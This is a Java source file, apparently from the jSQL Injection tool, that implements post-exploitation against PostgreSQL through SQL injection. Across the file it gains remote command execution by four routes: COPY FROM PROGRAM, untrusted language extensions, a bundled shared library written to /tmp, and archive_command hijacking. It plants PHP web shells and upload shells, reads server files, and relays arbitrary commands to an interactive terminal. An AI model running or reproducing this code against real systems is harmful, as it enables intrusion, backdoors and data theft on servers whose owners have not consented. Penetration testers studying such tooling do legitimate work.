1 package com.jsql.model.accessible.vendor;
2
3 import com.jsql.model.InjectionModel;
4 import com.jsql.model.accessible.DataAccess;
5 import com.jsql.model.accessible.ResourceAccess;
6 import com.jsql.model.accessible.vendor.postgres.ModelYamlPostgres;
7 import com.jsql.model.bean.database.MockElement;
8 import com.jsql.model.bean.util.Interaction;
9 import com.jsql.model.bean.util.Request;
10 import com.jsql.model.exception.AbstractSlidingException;
11 import com.jsql.model.exception.InjectionFailureException;
12 import com.jsql.model.exception.JSqlException;
13 import com.jsql.model.exception.JSqlRuntimeException;
14 import com.jsql.model.injection.vendor.model.VendorYaml;
15 import com.jsql.model.suspendable.SuspendableGetRows;
16 import com.jsql.util.LogLevelUtil;
17 import com.jsql.util.StringUtil;
18 import org.apache.commons.lang3.RandomStringUtils;
19 import org.apache.commons.lang3.StringUtils;
20 import org.apache.logging.log4j.LogManager;
21 import org.apache.logging.log4j.Logger;
22 import org.yaml.snakeyaml.Yaml;
23
24 import java.io.File;
25 import java.io.FileInputStream;
26 import java.io.IOException;
27 import java.io.InputStream;
28 import java.net.http.HttpResponse;
29 import java.util.Arrays;
30 import java.util.List;
31 import java.util.Objects;
32 import java.util.UUID;
33 import java.util.function.BinaryOperator;
34
35 public class ExploitPostgres {
36
37 private static final Logger LOGGER = LogManager.getRootLogger();
38 private final InjectionModel injectionModel;
39 private String nameExtension = StringUtils.EMPTY;
40 private final ModelYamlPostgres modelYaml;
41
42 public ExploitPostgres(InjectionModel injectionModel) {
43 this.injectionModel = injectionModel;
44 var yaml = new Yaml();
45 this.modelYaml = yaml.loadAs(
46 injectionModel.getMediatorVendor().getPostgres().instance().getModelYaml().getResource().getExploit(),
47 ModelYamlPostgres.class
48 );
49 }
50
51 public void createUdf(String nameExtension) throws JSqlException {
52 LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "Exploit mode forced to query body");
53
54 if (StringUtils.isNotEmpty(nameExtension)) {
55 this.setRceExtensionWhenActive(false, nameExtension);
56 } else {
57 var isUdfActive = this.setRceProgramWhenActive();
58 isUdfActive = this.setRceExtensionWhenActive(isUdfActive, nameExtension);
59 isUdfActive = this.setRceLibraryWhenActive(isUdfActive);
60 this.setRceArchiveWhenActive(isUdfActive);
61 }
62 }
63
64 private String getCreateBasicExtension() {
65 String plCreateExtension = null;
66 if (this.nameExtension.startsWith("plpython")) {
67 plCreateExtension = String.format(this.modelYaml.getUdf().getPlpython(), this.nameExtension);
68 } else if (this.nameExtension.startsWith("plperl")) {
69 plCreateExtension = this.modelYaml.getUdf().getPlperl();
70 } else if (this.nameExtension.startsWith("pltcl")) {
71 plCreateExtension = this.modelYaml.getUdf().getPltcl();
72 } else if (this.nameExtension.startsWith("plr")) {
73 plCreateExtension = this.modelYaml.getUdf().getPlr();
74 } else if (this.nameExtension.startsWith("pllua")) {
75 plCreateExtension = this.modelYaml.getUdf().getPllua();
76 } else if (this.nameExtension.startsWith("plsh")) {
77 plCreateExtension = this.modelYaml.getUdf().getPlsh();
78 }
79 return plCreateExtension;
80 }
81
82 private boolean setRceProgramWhenActive() {
83 LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "RCE [Program] requirements: stack query");
84 var nameTempTable = RandomStringUtils.secure().nextAlphabetic(8);
85 this.injectionModel.injectWithoutIndex(String.format(
86 this.modelYaml.getFile().getWrite().getTempTable().getAdd(),
87 nameTempTable
88 ), ResourceAccess.TBL_CREATE);
89 this.injectionModel.injectWithoutIndex(String.format(
90 this.modelYaml.getUdf().getProgram().getRun(),
91 nameTempTable,
92 ResourceAccess.WEB_CONFIRM_CMD
93 ), ResourceAccess.TBL_FILL);
94 var result = this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
95 this.modelYaml.getUdf().getProgram().getGetResult(),
96 nameTempTable
97 ), ResourceAccess.TBL_READ);
98 if (result.contains(ResourceAccess.WEB_CONFIRM_RESULT)) {
99 LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "RCE [Program] successful: command execution found");
100 var request = new Request();
101 request.setMessage(Interaction.ADD_TAB_EXPLOIT_UDF_PROGRAM_POSTGRES);
102 request.setParameters(null, null);
103 this.injectionModel.sendToViews(request);
104 return true;
105 }
106 return false;
107 }
108
109 private boolean setRceExtensionWhenActive(boolean isUdfActive, String nameExtension) throws JSqlException {
110 if (isUdfActive) {
111 return true;
112 }
113 if (StringUtils.isNotEmpty(nameExtension)) {
114 this.nameExtension = this.getExtensionWhenCreated(nameExtension);
115 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "IT RCE [Extension]: searching [{}], found [{}]", nameExtension, this.nameExtension);
116 } else {
117 this.nameExtension = StringUtils.EMPTY;
118 LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "RCE [Extension] requirements: stack query, any of py/sh/pl/lua/sql/r/tcl installed");
119 for (var ext: Arrays.asList("plpython3u", "plpython2u", "plpythonu", "plperlu", "pltclu", "pllua", "plsh", "sql", "plr")) {
120 if (StringUtils.isEmpty(this.nameExtension)) {
121 this.nameExtension = this.getExtensionWhenCreated(ext);
122 }
123 }
124 if (StringUtils.isEmpty(this.nameExtension)) {
125 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "RCE [Extension] failure: no extension found");
126 return false;
127 }
128 }
129
130 this.injectionModel.injectWithoutIndex(this.modelYaml.getUdf().getDropFunc(), ResourceAccess.DROP_FUNC);
131
132 String plCreateBasicExtension = this.getCreateBasicExtension();
133 if (plCreateBasicExtension != null) {
134 this.injectionModel.injectWithoutIndex(plCreateBasicExtension, ResourceAccess.ADD_FUNC);
135 } else if (this.nameExtension.startsWith("sql")) {
136 this.injectionModel.injectWithoutIndex(this.modelYaml.getUdf().getSql().getDropTable(), ResourceAccess.TBL_DROP);
137 this.injectionModel.injectWithoutIndex(this.modelYaml.getUdf().getSql().getCreateTable(), ResourceAccess.TBL_CREATE);
138 this.injectionModel.injectWithoutIndex(this.modelYaml.getUdf().getSql().getConfirm().getAddFunc(), ResourceAccess.ADD_FUNC);
139 this.injectionModel.injectWithoutIndex(this.modelYaml.getUdf().getSql().getRunCmd(), ResourceAccess.RUN_FUNC);
140 var result = this.injectionModel.getResourceAccess().getResult(
141 String.format(this.modelYaml.getUdf().getSql().getResultCmd(), StringUtils.EMPTY),
142 ResourceAccess.BODY_CONFIRM
143 );
144 if (!"1337".equals(result)) {
145 return false;
146 }
147 }
148
149 var functions = this.injectionModel.getResourceAccess().getResult(
150 this.modelYaml.getUdf().getSql().getConfirm().getFuncExists(),
151 ResourceAccess.BODY_CONFIRM
152 );
153 if (!functions.contains("exec_cmd")) {
154 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "RCE failure: function not found");
155 return false;
156 }
157
158 LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "RCE [Extension] successful: function found for extension [{}]", this.nameExtension);
159 var request = new Request();
160 request.setMessage(Interaction.ADD_TAB_EXPLOIT_UDF_EXTENSION_POSTGRES);
161 request.setParameters(null, null);
162 this.injectionModel.sendToViews(request);
163 return true;
164 }
165
166 public boolean setRceLibraryWhenActive(boolean isUdfActive) throws JSqlException {
167 if (isUdfActive) {
168 return true;
169 }
170
171 LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "RCE [Library] requirements: stack query");
172 this.injectionModel.injectWithoutIndex(String.format(this.modelYaml.getUdf().getLibrary().getDropFunc()), ResourceAccess.DROP_FUNC);
173 var loid = this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
174 this.modelYaml.getUdf().getLibrary().getLoFromText(),
175 String.join(StringUtils.EMPTY, ExploitPostgres.toHexChunks("v10.64"))
176 ), ResourceAccess.ADD_LOID);
177 if (StringUtils.isEmpty(loid)) {
178 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, ResourceAccess.LOID_NOT_FOUND);
179 return false;
180 }
181 var nameExploit = RandomStringUtils.secure().nextAlphabetic(8) +".so";
182 this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
183 this.modelYaml.getUdf().getLibrary().getLoToFile(),
184 loid,
185 "/tmp/" + nameExploit
186 ), ResourceAccess.WRITE_LOID);
187 this.injectionModel.injectWithoutIndex(String.format(
188 this.modelYaml.getUdf().getLibrary().getCreateFunction(),
189 "/tmp/" + nameExploit
190 ), ResourceAccess.ADD_FUNC);
191 String result = this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
192 this.modelYaml.getUdf().getLibrary().getRunFunc(),
193 ResourceAccess.WEB_CONFIRM_CMD + "%20"
194 ), "confirm");
195 if (!result.contains(ResourceAccess.WEB_CONFIRM_RESULT)) {
196 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit body not found");
197 return false;
198 }
199 LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "RCE [Library] successful");
200 var request = new Request();
201 request.setMessage(Interaction.ADD_TAB_EXPLOIT_UDF_LIBRARY_POSTGRES);
202 request.setParameters(null, null);
203 this.injectionModel.sendToViews(request);
204 return true;
205 }
206
207 private void setRceArchiveWhenActive(boolean isUdfActive) throws JSqlException {
208 if (isUdfActive) {
209 return;
210 }
211
212 LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "RCE [Archive] requirements: archive_mode enabled");
213 if (!StringUtils.EMPTY.equals(this.runArchive(null))) {
214 LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "RCE [Archive] successful: command execution found");
215 var request = new Request();
216 request.setMessage(Interaction.ADD_TAB_EXPLOIT_UDF_WAL_POSTGRES);
217 request.setParameters(null, null);
218 this.injectionModel.sendToViews(request);
219 }
220 }
221
222 private static List<String> toHexChunks(String filename) throws JSqlException {
223 try {
224 byte[] fileData = Objects.requireNonNull(
225 ExploitMysql.class.getClassLoader().getResourceAsStream("exploit/postgres/"+ filename +".so")
226 ).readAllBytes();
227 return StringUtil.toHexChunks(fileData);
228 } catch (IOException e) {
229 throw new JSqlException(e);
230 }
231 }
232
233 public String runRceLibraryCmd(String command, UUID uuidShell) {
234 String result;
235 try {
236 result = this.injectionModel.getResourceAccess().getResult(String.format(
237 this.modelYaml.getUdf().getLibrary().getRunFunc(),
238 command.replace(StringUtils.SPACE, "%20") + "%20"
239 ), ResourceAccess.RUN_FUNC);
240 } catch (JSqlException e) {
241 result = String.format(ResourceAccess.TEMPLATE_ERROR, e.getMessage(), command);
242 }
243 var request = new Request();
244 request.setMessage(Interaction.GET_TERMINAL_RESULT);
245 request.setParameters(uuidShell, result.trim() +"\n");
246 this.injectionModel.sendToViews(request);
247 return result;
248 }
249
250 private String runArchive(String command) throws JSqlException {
251 boolean isSetup = command == null;
252 String pathResult = "/tmp/cmd.txt";
253
254 String status = this.injectionModel.getResourceAccess().getResult(this.modelYaml.getUdf().getArchive().getGetStatus(), "wal#status");
255 if (isSetup && !status.contains("on")) {
256 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit [Archive] failure: archive_mode disabled");
257 return StringUtils.EMPTY;
258 }
259
260 String pathConf = this.injectionModel.getResourceAccess().getResult(this.modelYaml.getUdf().getArchive().getGetPathConf(), "conf#path");
261 String loidConf = this.injectionModel.getResourceAccess().getResult(String.format(
262 this.modelYaml.getFile().getRead().getLargeObject().getFromPath(),
263 pathConf
264 ), "conf#loid");
265 String lengthConf = this.injectionModel.getResourceAccess().getResult(String.format(
266 this.modelYaml.getUdf().getArchive().getGetConfLength(),
267 loidConf
268 ), "conf#size");
269
270 this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
271 this.modelYaml.getUdf().getArchive().getPutCmd(),
272 loidConf,
273 lengthConf,
274 isSetup ? ResourceAccess.WEB_CONFIRM_CMD +"%20" : command,
275 pathResult
276 ), "conf#append");
277
278 this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
279 this.modelYaml.getFile().getWrite().getLargeObject().getToFile(),
280 loidConf,
281 pathConf
282 ), "conf#write");
283 this.injectionModel.getResourceAccess().getResultWithCatch(this.modelYaml.getUdf().getArchive().getReloadConf(), "wal#reload");
284
285 String cmdArchive = this.injectionModel.getResourceAccess().getResult(this.modelYaml.getUdf().getArchive().getGetCmd(), "cmd#confirm");
286 if (isSetup && !cmdArchive.contains(pathResult)) {
287 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit [Archive] failure: archive command missing");
288 return StringUtils.EMPTY;
289 }
290
291 this.injectionModel.getResourceAccess().getResultWithCatch(this.modelYaml.getUdf().getArchive().getRunWal(), "wal#run");
292 try {
293 Thread.sleep(750);
294 } catch (InterruptedException e) {
295 LOGGER.log(LogLevelUtil.IGNORE, e, e);
296 Thread.currentThread().interrupt();
297 }
298 String loidResult = this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
299 this.modelYaml.getFile().getRead().getLargeObject().getFromPath(),
300 pathResult
301 ), "result#loid");
302 String result = this.injectionModel.getResourceAccess().getResult(String.format(
303 this.modelYaml.getFile().getRead().getLargeObject().getToText(),
304 loidResult
305 ), "result#read");
306
307 if (isSetup && !result.contains(ResourceAccess.WEB_CONFIRM_RESULT)) {
308 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit [Archive] failure: command result missing");
309 return StringUtils.EMPTY;
310 }
311 return result;
312 }
313
314 private String getExtensionWhenCreated(String nameExtension) throws JSqlException {
315 LOGGER.log(LogLevelUtil.CONSOLE_INFORM, "Checking extension [{}]", nameExtension);
316 this.injectionModel.injectWithoutIndex(String.format(
317 this.modelYaml.getUdf().getExtension().getCreate(),
318 nameExtension
319 ), "body#add-ext");
320 String languages = this.injectionModel.getResourceAccess().getResult(
321 this.modelYaml.getUdf().getExtension().getLanguages(),
322 "body#confirm-ext"
323 );
324 if (languages.contains(nameExtension)) {
325 LOGGER.log(LogLevelUtil.CONSOLE_INFORM, "Language [{}] found: {}", nameExtension, languages);
326 return nameExtension;
327 }
328 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Language [{}] not found: {}", nameExtension, languages);
329 return StringUtils.EMPTY;
330 }
331
332 public String runRceArchiveCmd(String command, UUID uuidShell) {
333 String result;
334 try {
335 result = this.runArchive(command.replace(StringUtils.SPACE, "%20") +"%20");
336 } catch (JSqlException e) {
337 result = String.format(ResourceAccess.TEMPLATE_ERROR, e.getMessage(), command);
338 }
339 var request = new Request();
340 request.setMessage(Interaction.GET_TERMINAL_RESULT);
341 request.setParameters(uuidShell, result.trim() +"\n");
342 this.injectionModel.sendToViews(request);
343 return result;
344 }
345
346 public String runRceProgramCmd(String command, UUID uuidShell) {
347 String result;
348 try {
349 var nameTempTable = RandomStringUtils.secure().nextAlphabetic(8);
350 this.injectionModel.injectWithoutIndex(String.format(
351 this.modelYaml.getFile().getWrite().getTempTable().getAdd(),
352 nameTempTable
353 ), ResourceAccess.TBL_CREATE);
354 this.injectionModel.injectWithoutIndex(String.format(
355 this.modelYaml.getUdf().getProgram().getRun(),
356 nameTempTable,
357 command.replace(StringUtils.SPACE, "%20") +"%20"
358 ), ResourceAccess.TBL_FILL);
359 result = this.injectionModel.getResourceAccess().getResult(String.format(
360 this.modelYaml.getUdf().getProgram().getGetResult(),
361 nameTempTable
362 ), ResourceAccess.TBL_READ);
363 } catch (JSqlException e) {
364 result = String.format(ResourceAccess.TEMPLATE_ERROR, e.getMessage(), command);
365 }
366 var request = new Request();
367 request.setMessage(Interaction.GET_TERMINAL_RESULT);
368 request.setParameters(uuidShell, result.trim() +"\n");
369 this.injectionModel.sendToViews(request);
370 return result;
371 }
372
373 public String runRceExtensionCmd(String command, UUID uuidShell) {
374 String result;
375 try {
376 if ("sql".equals(this.nameExtension)) {
377 this.injectionModel.injectWithoutIndex(this.modelYaml.getUdf().getSql().getClean(), "body#empty-tbl");
378 this.injectionModel.injectWithoutIndex(String.format(
379 this.modelYaml.getUdf().getSql().getRunFunc(),
380 command.replace(StringUtils.SPACE, "%20")
381 ), ResourceAccess.ADD_FUNC);
382 this.injectionModel.injectWithoutIndex(this.modelYaml.getUdf().getSql().getRunCmd(), ResourceAccess.UDF_RUN_CMD);
383 result = this.injectionModel.getResourceAccess().getResult(String.format(
384 this.modelYaml.getUdf().getSql().getResultCmd(),
385 VendorYaml.TRAIL_SQL
386 ), "body#result") +"\n";
387 } else {
388 result = this.injectionModel.getResourceAccess().getResult(
389 String.format(
390 this.modelYaml.getUdf().getRunFunc(),
391 command.replace(StringUtils.SPACE, "%20"),
392 VendorYaml.TRAIL_SQL
393 ),
394 ResourceAccess.UDF_RUN_CMD
395 );
396 }
397 } catch (JSqlException e) {
398 result = String.format(ResourceAccess.TEMPLATE_ERROR, e.getMessage(), command);
399 }
400 var request = new Request();
401 request.setMessage(Interaction.GET_TERMINAL_RESULT);
402 request.setParameters(uuidShell, result.trim() +"\n");
403 this.injectionModel.sendToViews(request);
404 return result;
405 }
406
407 public String createWeb(String pathExploit, String urlExploit) {
408 String bodyExploit = StringUtil.base64Decode(
409 this.injectionModel.getMediatorUtils().getPropertiesUtil().getProperty(ResourceAccess.EXPLOIT_DOT_WEB)
410 )
411 .replace(DataAccess.SHELL_LEAD, DataAccess.LEAD)
412 .replace(DataAccess.SHELL_TRAIL, DataAccess.TRAIL);
413
414 var loid = this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
415 this.modelYaml.getFile().getWrite().getLargeObject().getFromText(),
416 bodyExploit.replace("'", "\"")
417 ), ResourceAccess.ADD_LOID);
418 if (StringUtils.isEmpty(loid)) {
419 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, ResourceAccess.LOID_NOT_FOUND);
420 return StringUtils.EMPTY;
421 }
422 var nameExploit = RandomStringUtils.secure().nextAlphabetic(8) +".php";
423 this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
424 this.modelYaml.getFile().getWrite().getLargeObject().getToFile(),
425 loid,
426 pathExploit + nameExploit
427 ), ResourceAccess.WRITE_LOID);
428
429 BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> {
430 String result = this.injectionModel.getResourceAccess().callCommand(
431 urlSuccess +"?c="+ ResourceAccess.WEB_CONFIRM_CMD
432 );
433 if (!result.contains(ResourceAccess.WEB_CONFIRM_RESULT)) {
434 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit body not found");
435 return StringUtils.EMPTY;
436 }
437 var request = new Request();
438 request.setMessage(Interaction.ADD_TAB_EXPLOIT_WEB);
439 request.setParameters(urlSuccess);
440 this.injectionModel.sendToViews(request);
441 return urlSuccess;
442 };
443
444 return this.injectionModel.getResourceAccess().checkUrls(urlExploit, nameExploit, biFuncGetRequest);
445 }
446
447 public String createSql(String pathExploit, String urlExploit, String username, String password) {
448 BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> {
449 var resultQuery = this.injectionModel.getResourceAccess().runSqlShell(
450 ResourceAccess.SQL_CONFIRM_CMD,
451 null,
452 urlSuccess,
453 username,
454 password,
455 false
456 );
457 if (resultQuery != null && resultQuery.contains(ResourceAccess.SQL_CONFIRM_RESULT)) {
458 var request = new Request();
459 request.setMessage(Interaction.ADD_TAB_EXPLOIT_SQL);
460 request.setParameters(urlSuccess, username, password);
461 this.injectionModel.sendToViews(request);
462 return urlSuccess;
463 }
464 return StringUtils.EMPTY;
465 };
466
467 String bodyExploit = StringUtil.base64Decode(
468 this.injectionModel.getMediatorUtils().getPropertiesUtil().getProperty("exploit.sql.pdo.pgsql")
469 )
470 .replace(DataAccess.SHELL_LEAD, DataAccess.LEAD)
471 .replace(DataAccess.SHELL_TRAIL, DataAccess.TRAIL);
472
473 var loid = this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
474 this.modelYaml.getFile().getWrite().getLargeObject().getFromText(),
475 bodyExploit.replace("'", "\"")
476 ), ResourceAccess.ADD_LOID);
477 if (StringUtils.isEmpty(loid)) {
478 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, ResourceAccess.LOID_NOT_FOUND);
479 return StringUtils.EMPTY;
480 }
481 var nameExploit = RandomStringUtils.secure().nextAlphabetic(8) +".php";
482 this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
483 this.modelYaml.getFile().getWrite().getLargeObject().getToFile(),
484 loid,
485 pathExploit + nameExploit
486 ), ResourceAccess.WRITE_LOID);
487
488 return this.injectionModel.getResourceAccess().checkUrls(urlExploit, nameExploit, biFuncGetRequest);
489 }
490
491 public void createUpload(String pathExploit, String urlExploit, File fileToUpload) {
492 String bodyExploit = StringUtil.base64Decode(
493 this.injectionModel.getMediatorUtils().getPropertiesUtil().getProperty(ResourceAccess.EXPLOIT_DOT_UPL)
494 )
495 .replace(DataAccess.SHELL_LEAD, DataAccess.LEAD)
496 .replace(DataAccess.SHELL_TRAIL, DataAccess.TRAIL);
497
498 var loid = this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
499 this.modelYaml.getFile().getWrite().getLargeObject().getFromText(),
500 bodyExploit.replace("'", "\"")
501 ), ResourceAccess.ADD_LOID);
502 if (StringUtils.isEmpty(loid)) {
503 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, ResourceAccess.LOID_NOT_FOUND);
504 return;
505 }
506 var nameExploit = RandomStringUtils.secure().nextAlphabetic(8) +".php";
507 this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
508 this.modelYaml.getFile().getWrite().getLargeObject().getToFile(),
509 loid,
510 pathExploit + nameExploit
511 ), ResourceAccess.WRITE_LOID);
512
513 BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> {
514 try (InputStream streamToUpload = new FileInputStream(fileToUpload)) {
515 HttpResponse<String> result = this.injectionModel.getResourceAccess().upload(fileToUpload, urlSuccess, streamToUpload);
516 if (result.body().contains(DataAccess.LEAD +"y")) {
517 LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, ResourceAccess.UPLOAD_SUCCESSFUL, pathExploit, fileToUpload.getName());
518 } else {
519 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, ResourceAccess.UPLOAD_FAILURE, pathExploit, fileToUpload.getName());
520 }
521 } catch (InterruptedException e) {
522 LOGGER.log(LogLevelUtil.IGNORE, e, e);
523 Thread.currentThread().interrupt();
524 } catch (IOException | JSqlException e) {
525 throw new JSqlRuntimeException(e);
526 }
527 return urlSuccess;
528 };
529
530 this.injectionModel.getResourceAccess().checkUrls(urlExploit, nameExploit, biFuncGetRequest);
531 }
532
533 public String getRead(String pathFile) throws AbstractSlidingException {
534 String resultToParse = StringUtils.EMPTY;
535 try {
536 resultToParse = new SuspendableGetRows(this.injectionModel).run(
537 String.format(
538 this.injectionModel.getResourceAccess().getExploitPostgres().getModelYaml().getFile().getRead().getFromDataFolder(),
539 pathFile
540 ),
541 new String[]{ StringUtils.EMPTY },
542 false,
543 1,
544 MockElement.MOCK,
545 ResourceAccess.FILE_READ
546 );
547 } catch (InjectionFailureException e) {
548 LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "Read data folder failure, trying with large object");
549 var loid = this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
550 this.injectionModel.getResourceAccess().getExploitPostgres().getModelYaml().getFile().getRead().getLargeObject().getFromPath(),
551 pathFile
552 ), ResourceAccess.ADD_LOID);
553 if (StringUtils.isNotEmpty(loid)) {
554 resultToParse = this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
555 this.injectionModel.getResourceAccess().getExploitPostgres().getModelYaml().getFile().getRead().getLargeObject().getToText(),
556 loid
557 ), ResourceAccess.READ_LOID);
558 }
559 if (StringUtils.isEmpty(resultToParse)) {
560 LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "Read large object failure, trying with stack read");
561 var nameLibraryRandom = "tmp_" + RandomStringUtils.secure().nextAlphabetic(8);
562 this.injectionModel.injectWithoutIndex(String.format(
563 this.injectionModel.getResourceAccess().getExploitPostgres().getModelYaml().getFile().getWrite().getTempTable().getDrop(),
564 nameLibraryRandom
565 ), ResourceAccess.TBL_DROP);
566 this.injectionModel.injectWithoutIndex(String.format(
567 this.injectionModel.getResourceAccess().getExploitPostgres().getModelYaml().getFile().getWrite().getTempTable().getAdd(),
568 nameLibraryRandom
569 ), ResourceAccess.TBL_CREATE);
570 this.injectionModel.injectWithoutIndex(String.format(
571 this.injectionModel.getResourceAccess().getExploitPostgres().getModelYaml().getFile().getWrite().getTempTable().getFill(),
572 nameLibraryRandom,
573 pathFile
574 ), ResourceAccess.TBL_FILL);
575 resultToParse = new SuspendableGetRows(this.injectionModel).run(
576 String.format(
577 this.injectionModel.getResourceAccess().getExploitPostgres().getModelYaml().getFile().getRead().getFromTempTable(),
578 nameLibraryRandom
579 ),
580 new String[]{ StringUtils.EMPTY },
581 false,
582 1,
583 MockElement.MOCK,
584 ResourceAccess.TBL_READ
585 );
586 }
587 }
588 return resultToParse;
589 }
590
591 public ModelYamlPostgres getModelYaml() {
592 return this.modelYaml;
593 }
594 }